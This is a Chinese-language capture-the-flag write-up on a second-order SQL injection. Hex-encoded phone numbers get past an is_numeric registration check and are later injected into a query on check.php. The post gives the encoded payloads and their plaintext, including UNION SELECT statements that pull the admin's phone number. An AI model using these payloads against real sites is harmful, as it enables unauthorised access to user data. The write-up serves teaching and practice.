本文介绍一个在CTF中遇到的经典二次注入

0x00 前言

十一月十一号,在北科大参加了一场CTF,也是第一次投身真正的比赛

个人感觉,CTF并不是一种学习方式,但是绝对可以考验你的技术深度,这次去北京,确实感受到了那种极客精神,不管题目难或易,都有可圈可点之处,我将他们看作一道道关卡,将自己掌握的知识不断融合,去开辟新的思路,我很享受这个过程,其中,主要做了两道比较深刻的题目,在这里拿出来与大家分享,由于当时场地不允许连接外网,不能查阅资料,更获取不到服务器上的题目源代码,我只能回忆题目中的逻辑,通过PHP将它实现,略有改动。

我自己还原的源代码可以在这里看到:https://github.com/Rvn0xsy/ctf_get_phone

0x01 题目

大概意思是拿到管理员的手机号码,这个手机号码是flag。

你能获得女神的手机号吗? 就在这里,存在一个高危漏洞,并且使用工具是无法达到目的的,追女神还是要用真心呀!!

login.php

0x02 细节分析

我首先使用自己手中的字典进行了一轮爆破,爆破的同时去注册了两个账号。

register.php

注册需要提供:

username password phone

这时,爆破未果,既然是一个高危漏洞,概率不会依附在“弱口令”上 (安慰一下自己)。

注册的两个账号,第一个是用于正常查看,第二个放入一些让SQL语句报错的关键字,例如:“ ‘ 、* 、) ”

但是第一个注册成功了,第二个提示phone必须是数字,这个提示信息是由客户端脚本提示的

于是我猜想会不会服务器端没有验证呢?

使用Burp提交后还是失败 :(

先不管这个,第一步就要把所有的信息搜集完毕再说。


$("#register").bind('click',function(){
        var usernameObj = $("#username");
        var passwordObj = $("#password");
        var phoneObj = $("#phone");
        var usernameVal = usernameObj.val();
        var passwordVal = passwordObj.val();
        var phoneVal = phoneObj.val();
        if(usernameVal == "" && usernameVal.length < 4){
            alert("Username is empty or short!");
            return false;
        }
        if(passwordVal == "" && passwordVal.length < 4){
            alert("Password is empty or short!");
            return false;
        }
        if(phoneVal == "" && phoneVal.length < 11){
            alert("Phone is empty or short!");
            return false;
        }
        $.post("/ctf/api.php?method=register",{
            "username":usernameVal,"password":passwordVal,"phone":phoneVal
        },function(data,status){
            var obj = jQuery.parseJSON(data);
            console.log(obj.status);
            if(obj.status){
                alert(obj.data);
                window.location.href='/ctf/index.php';
                return true;
            }else{
                alert("Error :" + obj.data);
                return false;
            }
        })
    });

上面是绑定的点击事件,提交到/ctf/api.php?method=register

登录页面也有类似的AJAX请求事件:

<script>
    $("#login").bind('click',function(){
        var usernameObj = $("#username");
        var passwordObj = $("#password");
        var usernameVal = usernameObj.val();
        var passwordVal = passwordObj.val();
        if(usernameVal == "" && usernameVal.length < 4){
            alert("Username is empty or short!");
            return false;
        }
        if(passwordVal == "" && passwordVal.length < 4){
            alert("Password is empty or short!");
            return false;
        }
        $.post("/ctf/api.php?method=login",{
            "username":usernameVal,"password":passwordVal
        },function(data,status){
            var obj = jQuery.parseJSON(data);
            console.log(obj.status);
            if(obj.status){
                alert(obj.data);
                window.location.href='/ctf/index.php';
                return true;
            }else{
                alert("Error :" + obj.data);
                return false;
            }
        })
    });

登录后的主页:

index.php

然后我想到了越权,换个浏览器直接访问index.php,可还是跳转(服务端重定向)到login.php

页面上有一个Check按钮,其点击后会跳转到check.php

    $("#logout").bind('click',function(){
        window.location.href="/ctf/logout.php";
    });
    $("#check").bind('click',function(){
        window.location.href="/ctf/check.php";
    });

访问check.php后: check.php

这个页面的意思是统计数据库中有几个人和我使用的手机号是一样的。

根据场景还原一下SQL语句:SELECT COUNT(*) FROM user WHERE phone = '123456'

其他地方就再也没有翻到什么有价值的信息,获取不到admin用户的密码,当然也看不到phone

这时我只能思考这个check.php中,到底有什么漏洞,隐约感觉这里存在一个SQL注入,于是想办法验证,可是注册的时候后端完全判断了phone到底是不是数字。

忽然想起,它没有限制数字多长,大概40多位长都可以,那么存储phone这个字段的数据类型一定不是int或者char,而是varchar

我尝试了十六进制提交,结果还真的可以注册,它肯定使用的是is_numberic()函数。

username test12345678
password test12345678
phone 0x3132333435362720616e64202773273d2773

0x3132333435362720616e64202773273d2773 对应 123456' and 's'='s

check.php

提交后,进入check页面:

check.php

返回 0 。

我们继续注册,使用一个报错payload,看页面是否支持报错注入:

123456' " *SELECT-x => 0x313233343536272022202a53454c4543542d78

check.php

可以看到报错信息了,但是不是我们期望的mysql->error。

但是不要灰心,已经找到突破点了,通过十六进制转换,我们可以把phone带入SQL语句。

写一个UNION试试吧~

123456' UNION SELECT version() FROM dual where 's'='s => 0x3132333435362720554e494f4e2053454c4543542076657273696f6e28292046524f4d206475616c207768657265202773273d2773

check.php

OK,数据版本出来了,继续注入表以及数据库名。 但是当时我没有去选择这个办法,而是通过搜集的表单信息来当做字段名,这样节省时间,碰运气。

123456' UNION SELECT phone FROM user where 'admin'='admin => 0x3132333435362720554e494f4e2053454c4543542070686f6e652046524f4d2075736572207768657265202761646d696e273d2761646d696e

check.php

0x03 过程分析

这种逻辑型的二次SQL注入,的确是扫描器、工具难以发现,如果再加个验证码,难度会更高一些。

寻找突破点还是要积累更多的经验

0x04 过程演示